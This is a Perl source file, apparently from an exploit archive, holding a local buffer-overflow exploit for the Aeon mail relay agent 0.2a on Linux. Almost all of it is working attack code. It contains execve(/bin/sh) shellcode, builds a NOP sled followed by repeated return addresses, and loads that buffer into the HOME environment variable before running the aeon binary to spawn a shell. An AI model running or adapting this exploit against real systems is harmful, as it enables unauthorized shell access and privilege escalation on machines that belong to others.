48 lines
No EOL
1.2 KiB
Perl
Executable file
48 lines
No EOL
1.2 KiB
Perl
Executable file
#!/usr/bin/perl
|
|
# Aeon-mail relay agent for Linux *
|
|
# *
|
|
# written by lammat just for practice purposes *
|
|
# tested against aeon-0.2a *
|
|
# http://grpower.ath.cx *
|
|
# lammat@iname.com *
|
|
|
|
|
|
# execve(/bin/sh) for linux x86
|
|
# 29 bytes
|
|
# by Matias Sedalo
|
|
|
|
|
|
|
|
$shellcode =
|
|
"\x31\xdb\x53\x8d\x43\x17\xcd\x80\x99\x68\x6e\x2f\x73\x68\x68".
|
|
"\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
|
|
|
|
|
|
$buf = 528;
|
|
$ret = 0xbfffe122;
|
|
$nop = "\x90";
|
|
|
|
if (@ARGV == 1) {
|
|
$offset = $ARGV[0];
|
|
}
|
|
|
|
for ($i = 0; $i < ($buf - length($shellcode) - 100); $i++) {
|
|
$buffer .= $nop;
|
|
}
|
|
|
|
|
|
$buffer .= $shellcode;
|
|
|
|
|
|
print("Address: 0x", sprintf('%lx',($ret + $offset)), "\n");
|
|
|
|
|
|
$new_ret = pack('l', ($ret + $offset));
|
|
|
|
until (length($buffer) == $buf) {
|
|
$buffer .= $new_ret;
|
|
}
|
|
|
|
local($ENV{'HOME'}) = $buffer; exec("/home/lammat/aeon-0.2a/aeon $i");
|
|
|
|
# milw0rm.com [2005-04-05] |